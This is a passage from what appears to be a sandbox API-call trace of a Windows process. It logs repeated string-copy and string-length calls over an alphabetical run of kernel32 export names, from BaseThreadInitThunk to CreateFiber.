lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0125.570] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0125.570] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0125.570] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0125.570] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0125.570] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0125.570] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0125.570] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0125.570] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0125.571] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0125.571] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0125.571] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0125.571] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0125.571] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0125.571] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0125.571] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0125.571] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0125.571] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0125.571] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0125.571] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0125.571] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0125.571] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0125.571] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0125.571] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0125.571] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0125.572] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0125.572] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0125.572] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0125.572] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0125.572] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0125.572] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0125.572] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0125.572] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0125.572] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0125.572] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0125.572] lstrlenA (lpString="BEEP") returned 4 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0125.572] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0125.572] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0125.572] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0125.572] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0125.572] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0125.572] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0125.573] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0125.573] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0125.573] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0125.573] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0125.573] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0125.573] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0125.573] lstrlenA (lpString="CANCELIO") returned 8 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0125.573] lstrlenA (lpString="CANCELIOEX") returned 10 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0125.573] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0125.573] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0125.573] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0125.573] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0125.573] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0125.573] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0125.573] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0125.573] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0125.574] lstrlenA (lpString="CHECKELEVATION") returned 14 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0125.574] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0125.574] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0125.574] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0125.574] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0125.574] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0125.574] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0125.574] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0125.580] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0125.580] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0125.580] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0125.580] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0125.580] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0125.580] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0125.580] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0125.580] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0125.580] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0125.580] lstrlenA (lpString="CLOSESTATE") returned 10 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0125.580] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0125.580] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0125.581] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0125.581] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0125.581] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0125.581] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0125.581] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0125.581] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0125.581] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0125.581] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0125.581] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0125.581] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0125.581] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0125.581] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0125.581] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0125.581] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0125.581] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0125.581] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0125.581] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0125.582] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0125.582] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0125.582] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0125.582] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0125.582] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0125.582] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0125.582] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0125.582] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0125.582] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0125.582] lstrlenA (lpString="COPYCONTEXT") returned 11 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0125.582] lstrlenA (lpString="COPYFILE2") returned 9 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0125.582] lstrlenA (lpString="COPYFILEA") returned 9 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0125.582] lstrlenA (lpString="COPYFILEEXA") returned 11 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0125.582] lstrlenA (lpString="COPYFILEEXW") returned 11 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0125.582] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0125.582] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0125.583] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0125.583] lstrlenA (lpString="COPYFILEW") returned 9 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0125.583] lstrlenA (lpString="COPYLZFILE") returned 10 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0125.583] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0125.583] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0125.583] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0125.583] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0125.583] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0125.583] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0125.583] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0125.583] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0125.583] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0125.583] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0125.583] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0125.583] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0125.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0125.583] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0125.584] lstrlenA (lpString="CREATEEVENTA") returned 12 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0125.584] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0125.584] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0125.584] lstrlenA (lpString="CREATEEVENTW") returned 12 [0125.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0125.584] lstrlenA (lpString="CREATEFIBER") returned 11 